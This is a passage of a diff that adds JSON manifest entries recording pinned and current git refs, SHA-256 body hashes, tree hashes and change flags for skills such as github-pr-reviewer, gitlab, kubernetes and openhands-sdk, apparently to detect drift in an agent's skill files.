"body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github-pr-reviewer", + "path": "skills/github-pr-reviewer", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "d599fc3002a7c97ed946e48b4d7c59c2d3f04d982f9a6460ff0884b9cad8224d", + "pinned_body_sha256": "d599fc3002a7c97ed946e48b4d7c59c2d3f04d982f9a6460ff0884b9cad8224d", + "current_body_sha256": "d35abc63129f9a34894fd65f6b0e4a837fd9b22e5cf99808e79f7bbfd45b82e3", + "pinned_body_bytes": 26720, + "current_body_bytes": 26054, + "manifest_tree_sha": "1f4525915d9d62128ef99f6d646ea02984c4c4d4", + "pinned_tree_sha": "1f4525915d9d62128ef99f6d646ea02984c4c4d4", + "current_tree_sha": "7607c02c2b3bd9a926e8ed0747d3a692c603f1f4", + "body_unchanged": false, + "tree_unchanged": false + }, + { + "name": "github-repo-monitor", + "path": "skills/github-repo-monitor", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "8a51a228f4a372162d0f3545ac44a1ce7a7d6616fab0b00fbdcd19789a85e52c", + "pinned_body_sha256": "8a51a228f4a372162d0f3545ac44a1ce7a7d6616fab0b00fbdcd19789a85e52c", + "current_body_sha256": "8a51a228f4a372162d0f3545ac44a1ce7a7d6616fab0b00fbdcd19789a85e52c", + "pinned_body_bytes": 12247, + "current_body_bytes": 12247, + "manifest_tree_sha": "e779e4edf79c281f7c9a35cf586eb6084b5046db", + "pinned_tree_sha": "e779e4edf79c281f7c9a35cf586eb6084b5046db", + "current_tree_sha": "e779e4edf79c281f7c9a35cf586eb6084b5046db", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github-stale-ci-pr-closer", + "path": "skills/github-stale-ci-pr-closer", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "060b136307daf00b908567e2a22e84cd3d8acec3f387668af3b9a82a3fb82aa3", + "pinned_body_sha256": "060b136307daf00b908567e2a22e84cd3d8acec3f387668af3b9a82a3fb82aa3", + "current_body_sha256": "060b136307daf00b908567e2a22e84cd3d8acec3f387668af3b9a82a3fb82aa3", + "pinned_body_bytes": 1210, + "current_body_bytes": 1210, + "manifest_tree_sha": "0c4596fbf016454fb1b78e1b79f826ade2a26249", + "pinned_tree_sha": "0c4596fbf016454fb1b78e1b79f826ade2a26249", + "current_tree_sha": "d05257b69a2863aed7346f6c2e5415b031ab9247", + "body_unchanged": true, + "tree_unchanged": false + }, + { + "name": "gitlab", + "path": "skills/gitlab", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "214c4db1a10ec41b81549e5625312b7d686772fba1258379e30013e3789f7fd7", + "pinned_body_sha256": "214c4db1a10ec41b81549e5625312b7d686772fba1258379e30013e3789f7fd7", + "current_body_sha256": "214c4db1a10ec41b81549e5625312b7d686772fba1258379e30013e3789f7fd7", + "pinned_body_bytes": 2164, + "current_body_bytes": 2164, + "manifest_tree_sha": "29879a030a0dd27de75c2674a242492c9d90a5a6", + "pinned_tree_sha": "29879a030a0dd27de75c2674a242492c9d90a5a6", + "current_tree_sha": "29879a030a0dd27de75c2674a242492c9d90a5a6", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "gitlab-issue-to-mr", + "path": "skills/gitlab-issue-to-mr", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "95b4390e73cc3ba60be239a403a50f08c64185a804aeb58589c17806609e6738", + "pinned_body_sha256": "95b4390e73cc3ba60be239a403a50f08c64185a804aeb58589c17806609e6738", + "current_body_sha256": "95b4390e73cc3ba60be239a403a50f08c64185a804aeb58589c17806609e6738", + "pinned_body_bytes": 18988, + "current_body_bytes": 18988, + "manifest_tree_sha": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", + "pinned_tree_sha": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", + "current_tree_sha": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "improve-agent-readiness", + "path": "plugins/onboarding/skills/improve-agent-readiness", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "e34bcd869080b07ac7de88172013562b151d2b74506994b6192765f735ed499c", + "pinned_body_sha256": "e34bcd869080b07ac7de88172013562b151d2b74506994b6192765f735ed499c", + "current_body_sha256": "e34bcd869080b07ac7de88172013562b151d2b74506994b6192765f735ed499c", + "pinned_body_bytes": 6657, + "current_body_bytes": 6657, + "manifest_tree_sha": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", + "pinned_tree_sha": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", + "current_tree_sha": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "incident-retrospective", + "path": "skills/incident-retrospective", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "bf99ca3938e3245be78cbb4638cbdea9d38f1f42ad051750a3a52bba92e953dc", + "pinned_body_sha256": "bf99ca3938e3245be78cbb4638cbdea9d38f1f42ad051750a3a52bba92e953dc", + "current_body_sha256": "bf99ca3938e3245be78cbb4638cbdea9d38f1f42ad051750a3a52bba92e953dc", + "pinned_body_bytes": 3554, + "current_body_bytes": 3554, + "manifest_tree_sha": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", + "pinned_tree_sha": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", + "current_tree_sha": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "iterate", + "path": "skills/iterate", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "58249391292da7a903f0e91483d959b78d405b77956c13f020df5eab7789495a", + "pinned_body_sha256": "58249391292da7a903f0e91483d959b78d405b77956c13f020df5eab7789495a", + "current_body_sha256": "58249391292da7a903f0e91483d959b78d405b77956c13f020df5eab7789495a", + "pinned_body_bytes": 15153, + "current_body_bytes": 15153, + "manifest_tree_sha": "7152a93b2b9f725f52c5252d988819fe0030661a", + "pinned_tree_sha": "7152a93b2b9f725f52c5252d988819fe0030661a", + "current_tree_sha": "7152a93b2b9f725f52c5252d988819fe0030661a", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "jira-issue-to-pr", + "path": "skills/jira-issue-to-pr", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "e5c143d6c0256e7cc1786716d358534701154ff86ea26495c8fa5eacf168ce26", + "pinned_body_sha256": "e5c143d6c0256e7cc1786716d358534701154ff86ea26495c8fa5eacf168ce26", + "current_body_sha256": "e5c143d6c0256e7cc1786716d358534701154ff86ea26495c8fa5eacf168ce26", + "pinned_body_bytes": 10124, + "current_body_bytes": 10124, + "manifest_tree_sha": "e216374c7bc95f6705707e11a1cc65dda9267964", + "pinned_tree_sha": "e216374c7bc95f6705707e11a1cc65dda9267964", + "current_tree_sha": "e216374c7bc95f6705707e11a1cc65dda9267964", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "jupyter", + "path": "skills/jupyter", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "11f5663bd9bc329844217cb6d3bacc8f475169080f3d859a36d4d0973bd7128e", + "pinned_body_sha256": "11f5663bd9bc329844217cb6d3bacc8f475169080f3d859a36d4d0973bd7128e", + "current_body_sha256": "11f5663bd9bc329844217cb6d3bacc8f475169080f3d859a36d4d0973bd7128e", + "pinned_body_bytes": 1540, + "current_body_bytes": 1540, + "manifest_tree_sha": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", + "pinned_tree_sha": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", + "current_tree_sha": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "kubernetes", + "path": "skills/kubernetes", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "e1c28130b212211c33138e0977e64dc57f368c42d6588e2bd173092cc9d4a96d", + "pinned_body_sha256": "e1c28130b212211c33138e0977e64dc57f368c42d6588e2bd173092cc9d4a96d", + "current_body_sha256": "e1c28130b212211c33138e0977e64dc57f368c42d6588e2bd173092cc9d4a96d", + "pinned_body_bytes": 1303, + "current_body_bytes": 1303, + "manifest_tree_sha": "68d887ccaf357723985bae1130706a7145e4d38d", + "pinned_tree_sha": "68d887ccaf357723985bae1130706a7145e4d38d", + "current_tree_sha": "68d887ccaf357723985bae1130706a7145e4d38d", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "learn-from-code-review", + "path": "skills/learn-from-code-review", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "146a6ec99296501601c2918644cbca54a337cca3290d173ac5ce64a5c62db497", + "pinned_body_sha256": "146a6ec99296501601c2918644cbca54a337cca3290d173ac5ce64a5c62db497", + "current_body_sha256": "146a6ec99296501601c2918644cbca54a337cca3290d173ac5ce64a5c62db497", + "pinned_body_bytes": 6300, + "current_body_bytes": 6300, + "manifest_tree_sha": "28da28ac893f281737349c3867b5640ae348b0b4", + "pinned_tree_sha": "28da28ac893f281737349c3867b5640ae348b0b4", + "current_tree_sha": "28da28ac893f281737349c3867b5640ae348b0b4", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "linear", + "path": "skills/linear", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "f0a509cc3268de2d716dce1b66de027c91b71d26ca330ab1a59363b169d2ae03", + "pinned_body_sha256": "f0a509cc3268de2d716dce1b66de027c91b71d26ca330ab1a59363b169d2ae03", + "current_body_sha256": "f0a509cc3268de2d716dce1b66de027c91b71d26ca330ab1a59363b169d2ae03", + "pinned_body_bytes": 7151, + "current_body_bytes": 7151, + "manifest_tree_sha": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", + "pinned_tree_sha": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", + "current_tree_sha": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "linear-triage", + "path": "skills/linear-triage", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "4a6dfb4a604c995879039bcffa65e38b18083faee57c08d9a8ab876ed5993e87", + "pinned_body_sha256": "4a6dfb4a604c995879039bcffa65e38b18083faee57c08d9a8ab876ed5993e87", + "current_body_sha256": "4a6dfb4a604c995879039bcffa65e38b18083faee57c08d9a8ab876ed5993e87", + "pinned_body_bytes": 3045, + "current_body_bytes": 3045, + "manifest_tree_sha": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", + "pinned_tree_sha": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", + "current_tree_sha": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "mainframe-planning", + "path": "plugins/cobol-modernization/skills/mainframe-planning", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "a6e64ed015955951520b69e5e87e0aea6ec2693bacc6af60ba488a0a59c61c96", + "pinned_body_sha256": "a6e64ed015955951520b69e5e87e0aea6ec2693bacc6af60ba488a0a59c61c96", + "current_body_sha256": "a6e64ed015955951520b69e5e87e0aea6ec2693bacc6af60ba488a0a59c61c96", + "pinned_body_bytes": 3057, + "current_body_bytes": 3057, + "manifest_tree_sha": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", + "pinned_tree_sha": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", + "current_tree_sha": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "mainframe-removal", + "path": "plugins/cobol-modernization/skills/mainframe-removal", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "bf0c95e28074dd27c4c2facb31783ef079e9dcb551eec8f84a554e845556f2f3", + "pinned_body_sha256": "bf0c95e28074dd27c4c2facb31783ef079e9dcb551eec8f84a554e845556f2f3", + "current_body_sha256": "bf0c95e28074dd27c4c2facb31783ef079e9dcb551eec8f84a554e845556f2f3", + "pinned_body_bytes": 2082, + "current_body_bytes": 2082, + "manifest_tree_sha": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", + "pinned_tree_sha": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", + "current_tree_sha": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "migration-mapping", + "path": "plugins/migration-scoring/skills/migration-mapping", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "6b65c7e6b15576bd97506ae0ee10e0a6bbb24ed1b2d5946232b2b9b9a540bca1", + "pinned_body_sha256": "6b65c7e6b15576bd97506ae0ee10e0a6bbb24ed1b2d5946232b2b9b9a540bca1", + "current_body_sha256": "6b65c7e6b15576bd97506ae0ee10e0a6bbb24ed1b2d5946232b2b9b9a540bca1", + "pinned_body_bytes": 2284, + "current_body_bytes": 2284, + "manifest_tree_sha": "01541663c7d326717eb97454e8cff37bd907d1af", + "pinned_tree_sha": "01541663c7d326717eb97454e8cff37bd907d1af", + "current_tree_sha": "01541663c7d326717eb97454e8cff37bd907d1af", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "migration-report", + "path": "plugins/migration-scoring/skills/migration-report", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "0e61fd550879bd54f25f7c970aaab4f66e9b970142c5d761674e4e8b3e7ed827", + "pinned_body_sha256": "0e61fd550879bd54f25f7c970aaab4f66e9b970142c5d761674e4e8b3e7ed827", + "current_body_sha256": "0e61fd550879bd54f25f7c970aaab4f66e9b970142c5d761674e4e8b3e7ed827", + "pinned_body_bytes": 3089, + "current_body_bytes": 3089, + "manifest_tree_sha": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", + "pinned_tree_sha": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", + "current_tree_sha": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "migration-scoring", + "path": "plugins/migration-scoring/skills/migration-scoring", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "46764ec6b66b3d1ebdfcc25c771235b45a4b88fa4467fcb002208996665be0ee", + "pinned_body_sha256": "46764ec6b66b3d1ebdfcc25c771235b45a4b88fa4467fcb002208996665be0ee", + "current_body_sha256": "46764ec6b66b3d1ebdfcc25c771235b45a4b88fa4467fcb002208996665be0ee", + "pinned_body_bytes": 3411, + "current_body_bytes": 3411, + "manifest_tree_sha": "d7bb843a85e64349b97add0947677273f79c36ce", + "pinned_tree_sha": "d7bb843a85e64349b97add0947677273f79c36ce", + "current_tree_sha": "d7bb843a85e64349b97add0947677273f79c36ce", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "news-digest", + "path": "skills/news-digest", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "833aace23ab5b4a5fc44aec71962d1cc0ae88172c4c7659052b3c7f1ada9cf5c", + "pinned_body_sha256": "833aace23ab5b4a5fc44aec71962d1cc0ae88172c4c7659052b3c7f1ada9cf5c", + "current_body_sha256": "833aace23ab5b4a5fc44aec71962d1cc0ae88172c4c7659052b3c7f1ada9cf5c", + "pinned_body_bytes": 12278, + "current_body_bytes": 12278, + "manifest_tree_sha": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", + "pinned_tree_sha": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", + "current_tree_sha": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "notion", + "path": "skills/notion", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "2ae4b3833a31781501c64e50ecfdda7c1abff34cc33687b039737a2731ab7ac7", + "pinned_body_sha256": "2ae4b3833a31781501c64e50ecfdda7c1abff34cc33687b039737a2731ab7ac7", + "current_body_sha256": "2ae4b3833a31781501c64e50ecfdda7c1abff34cc33687b039737a2731ab7ac7", + "pinned_body_bytes": 3786, + "current_body_bytes": 3786, + "manifest_tree_sha": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", + "pinned_tree_sha": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", + "current_tree_sha": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "npm", + "path": "skills/npm", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "f29251d112f6ba935eed0b36ccae2696f9080bdeb7fd852846f729161f7e30f2", + "pinned_body_sha256": "f29251d112f6ba935eed0b36ccae2696f9080bdeb7fd852846f729161f7e30f2", + "current_body_sha256": "f29251d112f6ba935eed0b36ccae2696f9080bdeb7fd852846f729161f7e30f2", + "pinned_body_bytes": 440, + "current_body_bytes": 440, + "manifest_tree_sha": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", + "pinned_tree_sha": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", + "current_tree_sha": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "openhands-api", + "path": "skills/openhands-api", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "f0124b4e04066b3b575d7d11c93aaac16014df7e1eeaaff03383b1b26613259e", + "pinned_body_sha256": "f0124b4e04066b3b575d7d11c93aaac16014df7e1eeaaff03383b1b26613259e", + "current_body_sha256": "f0124b4e04066b3b575d7d11c93aaac16014df7e1eeaaff03383b1b26613259e", + "pinned_body_bytes": 18282, + "current_body_bytes": 18282, + "manifest_tree_sha": "eaec51032ac36cf864f0079bd67698bf41adec04", + "pinned_tree_sha": "eaec51032ac36cf864f0079bd67698bf41adec04", + "current_tree_sha": "eaec51032ac36cf864f0079bd67698bf41adec04", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "openhands-automation", + "path": "skills/openhands-automation", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "b6201e8cd9900476cb14ccc60f92bcb3c3a61847a6bad3cb259d95f385e09a28", + "pinned_body_sha256": "b6201e8cd9900476cb14ccc60f92bcb3c3a61847a6bad3cb259d95f385e09a28", + "current_body_sha256": "b6201e8cd9900476cb14ccc60f92bcb3c3a61847a6bad3cb259d95f385e09a28", + "pinned_body_bytes": 40915, + "current_body_bytes": 40915, + "manifest_tree_sha": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", + "pinned_tree_sha": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", + "current_tree_sha": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "openhands-enterprise-troubleshooting", + "path": "skills/openhands-enterprise-troubleshooting", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "b7baa048b8fbcbb971dd0be8d96104689091b58304ffea276819ad0fabd51382", + "pinned_body_sha256": "b7baa048b8fbcbb971dd0be8d96104689091b58304ffea276819ad0fabd51382", + "current_body_sha256": "b7baa048b8fbcbb971dd0be8d96104689091b58304ffea276819ad0fabd51382", + "pinned_body_bytes": 15206, + "current_body_bytes": 15206, + "manifest_tree_sha": "bbe40867eeaa2d890a57df32331003d35ea0635a", + "pinned_tree_sha": "bbe40867eeaa2d890a57df32331003d35ea0635a", + "current_tree_sha": "bbe40867eeaa2d890a57df32331003d35ea0635a", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "openhands-sdk", + "path": "skills/openhands-sdk", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "033b9e64ec7639f4b793dc1fbf856757ac35dad096e0efc795f27872aa920a97", + "pinned_body_sha256": "033b9e64ec7639f4b793dc1fbf856757ac35dad096e0efc795f27872aa920a97", + "current_body_sha256": "033b9e64ec7639f4b793dc1fbf856757ac35dad096e0efc795f27872aa920a97", + "pinned_body_bytes": 27349, + "current_body_bytes": 27349, + "manifest_tree_sha": "65f0af3cda9aa9df67f7e65b7276408cb457d531", + "pinned_tree_sha": "65f0af3cda9aa9df67f7e65b7276408cb457d531", + "current_tree_sha": "65f0af3cda9aa9df67f7e65b7276408cb457d531", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "pdflatex", + "path": "skills/pdflatex", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "cf92e9e088dffea0c4849d85fa1d50697e1285f77896a3b03eec026ce61ff889", + "pinned_body_sha256": "cf92e9e088dffea0c4849d85fa1d50697e1285f77896a3b03eec026ce61ff889", + "current_body_sha256": "cf92e9e088dffea0c4849d85fa1d50697e1285f77896a3b03eec026ce61ff889", + "pinned_body_bytes": 1278, + "current_body_bytes": 1278, + "manifest_tree_sha": "67c755b61c4ae488a59a98d34a160305fd2bb747", + "pinned_tree_sha": "67c755b61c4ae488a59a98d34a160305fd2bb747", + "current_tree_sha": "67c755b61c4ae488a59a98d34a160305fd2bb747", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "plain-english-content", + "path": "skills/plain-english-content", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "2ef939ec154a2555a1018233ab818a4b0c92b16668c747b1ad9886a567c04ca2", + "pinned_body_sha256": "2ef939ec154a2555a1018233ab818a4b0c92b16668c747b1ad9886a567c04ca2", + "current_body_sha256": "2ef939ec154a2555a1018233ab818a4b0c92b16668c747b1ad9886a567c04ca2", + "pinned_body_bytes": 6023, + "current_body_bytes": 6023, + "manifest_tree_sha": "67903279d5ec4d43eb69f16fcbc964a3bde22862", + "pinned_tree_sha": "67903279d5ec4d43eb69f16fcbc964a3bde22862", + "current_tree_sha": "67903279d5ec4d43eb69f16fcbc964a3bde22862", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "prd", + "path": "skills/prd", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "5de2431f9ceb205f76978940b7c1c65e503bb9603410088b8af75bdf2749eb61", + "pinned_body_sha256": "5de2431f9ceb205f76978940b7c1c65e503bb9603410088b8af75bdf2749eb61", + "current_body_sha256": "5de2431f9ceb205f76978940b7c1c65e503bb9603410088b8af75bdf2749eb61", + "pinned_body_bytes": 6897, + "current_body_bytes": 6897, + "manifest_tree_sha": "d009702520f9617ffea98984b75f176a7d9535e9", + "pinned_tree_sha": "d009702520f9617ffea98984b75f176a7d9535e9", + "current_tree_sha": "d009702520f9617ffea98984b75f176a7d9535e9", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "qa-changes", + "path": "skills/qa-changes", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "e4819ced02fce8f19436d2314eb8426e4b4d2519cefa41c000908b53c45ff971", + "pinned_body_sha256": "e4819ced02fce8f19436d2314eb8426e4b4d2519cefa41c000908b53c45ff971", + "current_body_sha256": "e4819ced02fce8f19436d2314eb8426e4b4d2519cefa41c000908b53c45ff971", + "pinned_body_bytes": 14712, + "current_body_bytes": 14712, + "manifest_tree_sha": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", + "pinned_tree_sha": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", + "current_tree_sha": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "release-notes", + "path": "skills/release-notes", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "5250f2d1aa52272a91f0b0469f6b52079d4931b8bf32784b559706c87b8aeffb", + "pinned_body_sha256": "5250f2d1aa52272a91f0b0469f6b52079d4931b8bf32784b559706c87b8aeffb", + "current_body_sha256": "5250f2d1aa52272a91f0b0469f6b52079d4931b8bf32784b559706c87b8aeffb", + "pinned_body_bytes": 854, + "current_body_bytes": 854, + "manifest_tree_sha": "1494e93e3459d395907a4c00b815f93858bca20b", + "pinned_tree_sha": "1494e93e3459d395907a4c00b815f93858bca20b", + "current_tree_sha": "1494e93e3459d395907a4c00b815f93858bca20b", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "research-brief", + "path": "skills/research-brief", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "662a6bf42ec9964bfe9d7f996ffe0fb388fec3e7c955df473d4bd729cd8309e6", + "pinned_body_sha256": "662a6bf42ec9964bfe9d7f996ffe0fb388fec3e7c955df473d4bd729cd8309e6", + "current_body_sha256": "662a6bf42ec9964bfe9d7f996ffe0fb388fec3e7c955df473d4bd729cd8309e6", + "pinned_body_bytes": 3186, + "current_body_bytes": 3186, + "manifest_tree_sha": "96203abcbcdf42313e48380d51b5785e8d2a823b", + "pinned_tree_sha": "96203abcbcdf42313e48380d51b5785e8d2a823b", + "current_tree_sha": "96203abcbcdf42313e48380d51b5785e8d2a823b", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "score-quality", + "path": "plugins/migration-scoring/skills/score-quality", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "c0a0955e32eff9c6671b9d2d68eae9d55134d78c5193bd3fda506b50e020fd8a", + "pinned_body_sha256": "c0a0955e32eff9c6671b9d2d68eae9d55134d78c5193bd3fda506b50e020fd8a", + "current_body_sha256": "c0a0955e32eff9c6671b9d2d68eae9d55134d78c5193bd3fda506b50e020fd8a", + "pinned_body_bytes": 1512, + "current_body_bytes": 1512, + "manifest_tree_sha": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", + "pinned_tree_sha": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", + "current_tree_sha": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "score-style", + "path": "plugins/migration-scoring/skills/score-style", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "7c461adc030dda47100f26f8acea6c3098975789c7646b17eec8549985f30702", + "pinned_body_sha256": "7c461adc030dda47100f26f8acea6c3098975789c7646b17eec8549985f30702", + "current_body_sha256": "7c461adc030dda47100f26f8acea6c3098975789c7646b17eec8549985f30702", + "pinned_body_bytes": 2885, + "current_body_bytes": 2885, + "manifest_tree_sha": 